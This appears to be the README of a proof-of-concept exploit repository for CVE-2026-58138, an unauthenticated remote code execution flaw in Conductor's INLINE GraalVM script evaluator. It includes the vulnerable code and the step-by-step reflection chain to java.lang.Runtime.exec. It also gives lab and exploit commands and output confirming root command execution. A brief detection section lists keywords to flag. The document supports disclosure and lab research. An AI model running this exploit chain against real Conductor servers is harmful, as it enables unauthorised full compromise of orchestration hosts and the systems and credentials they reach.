CVE-2026-58138 — Conductor (3.21.21..<3.30.2) unauthenticated RCE via INLINE GraalVM evaluator (HostAccess.ALL). Lab + PoC, verified e2e (root).
Conductor (OSS / Orkes)
3.21.21… before3.30.2evaluates user-supplied JavaScript inINLINE(andLAMBDA/DO_WHILE/SWITCH) tasks with a GraalVM context built with full host access (HostAccess.ALL). The script reflects up tojava.lang.Runtimeand runs OS commands. The community API has no authentication by default, so submitting a workflow with such a task is unauthenticated remote code execution.
| CVE | CVE-2026-58138 |
| Advisory | vulncheck — Orkes Conductor unauth RCE via GraalVM script evaluators |
| Affected | Conductor 3.21.21 … before 3.30.2 |
| Fixed | 3.30.2 (commits 87a7d96, c691e35) |
| Class | CWE-94 (Code Injection) — GraalVM polyglot sandbox not enforced |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Auth | None (community API is unauthenticated by default) |
| Status | CONFIRMED — reproduced as root against conductoross/conductor:3.22.3 |
Version note (read this). The evaluator config varies inside the affected range: versions through ~
3.29.x(this lab uses3.22.3) build the context with plainallowHostAccess(HostAccess.ALL)— the unsandboxed config the CVE describes, and the one this PoC exploits directly. The3.30.0/3.30.1line added a partialdenyAccess(...)blocklist (reflection blocked); the complete fix (allowHostClassLoading(false)+ engine hardening) only lands in3.30.2. This PoC targets the plain-HostAccess.ALLconfiguration; it does not claim to bypass the3.30.1blocklist.
core/.../events/ScriptEvaluator.java (≤ 3.29.x / 3.22.3):
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // full host interop -> no sandbox
.build();
HostAccess.ALL lets the script call any method/field on Java host objects. The
INLINE task binds its input as $, a real Java object, so the script can pivot:
$.getClass().getClass() → java.lang.Class → Class.forName("java.lang.Runtime")
→ Runtime.getRuntime().exec(...). The Python evaluator is equivalent
(Context.newBuilder("python").allowAllAccess(true)).
INLINE task carries the malicious expression
(POST /api/metadata/workflow, no auth).POST /api/workflow/{name}, no auth).Runtime.exec runs the command
and the PoC returns its stdout as the task result.docker compose -f lab/docker-compose.yml up -d # conductoross/conductor:3.22.3 (in range)
# wait ~60s for the all-in-one server to boot
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname"
Observed:
[*] registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] started workflow id=...; reading INLINE task output ...
[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+kali-amd64
uid=0(root) is the Conductor process user; the output is live id/uname state —
genuine execution, not echo. exploit.py uses only the Python standard library.
Anyone able to reach the Conductor API executes arbitrary OS commands (here as root) on the orchestrator host — full compromise of the workflow engine, its persistence/queues, and every system its workflows and stored credentials touch.
Flag workflow definitions whose INLINE/LAMBDA/DO_WHILE/SWITCH tasks contain
expression strings referencing getClass, forName, Runtime, exec,
ProcessBuilder, or java. reflection, and Conductor processes spawning shells.
See ANALYSIS.md for the reflection chain, the evaluator config across
versions, and the patch.